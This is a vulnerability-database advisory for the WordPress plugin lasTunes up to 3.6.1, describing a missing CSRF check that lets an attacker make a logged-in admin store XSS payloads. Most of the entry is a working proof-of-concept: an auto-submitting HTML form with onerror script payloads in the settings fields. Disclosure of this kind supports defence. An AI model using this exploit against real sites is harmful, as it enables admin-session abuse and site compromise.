Lucene search

K
wpexploitDaniel RufWPEX-ID:69592E52-92DB-4E30-92CA-B7B3D5B9185D
HistoryJan 19, 2024 - 12:00 a.m.

lasTunes <= 3.6.1 - Settings Update via CSRF

2024-01-1900:00:00
Daniel Ruf
45
lasttunes csrf exploit
security vulnerability
form injection
unauthorized action
code injection
security risk
cross-site request forgery

AI Score

9

Confidence

High

EPSS

0

Percentile

9.0%

Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

<form action="https://example.com/wp-admin/themes.php?page=lasTunes_settings" method="POST">
    <input type="text" name="field_submit_hidden" value="Y">
    <input type="text" name="lasTunes_lastfmUsername" value="cfretts">
    <input type="text" name="lasTunes_lastfmApikey" value="1fa5df8fa019e72b26fbc9fc8aa8229f">
    <input type="text" name="lasTunes_lastfmLimit" value="\">
    <input type="text" name="lasTunes_row_evn_style" value='"><img src=x onerror=alert(1)>'>
    <input type="text" name="lasTunes_row_odd_style" value='"><img src=x onerror=alert(2)>'>
    <input type="text" name="lasTunes_img_src_album" value="/wp-content/plugins/lastunes/images/album-16x16.png">
    <input type="text" name="lasTunes_show_username" value="on">
    <input type="text" name="lasTunes_links_in_new" value="on">
    <input type="text" name="lasTunes_give_credit" value="on">
    <input type="text" name="action" value="update">
    <input type="text" name="page_options" value="lasTunes_lastfmUsername,lasTunes_lastfmApikey,lasTunes_lastfmLimit,lasTunes_row_evn_style,lasTunes_row_odd_style,lasTunes_img_src_album,lasTunes_show_username,lasTunes_show_timestamp,lasTunes_link_to_lastfm,lasTunes_link_to_myspace,lasTunes_links_in_new,lasTunes_give_credit,">
</form>
<script>
    document.forms[0].submit();
</script>

AI Score

9

Confidence

High

EPSS

0

Percentile

9.0%

Related for WPEX-ID:69592E52-92DB-4E30-92CA-B7B3D5B9185D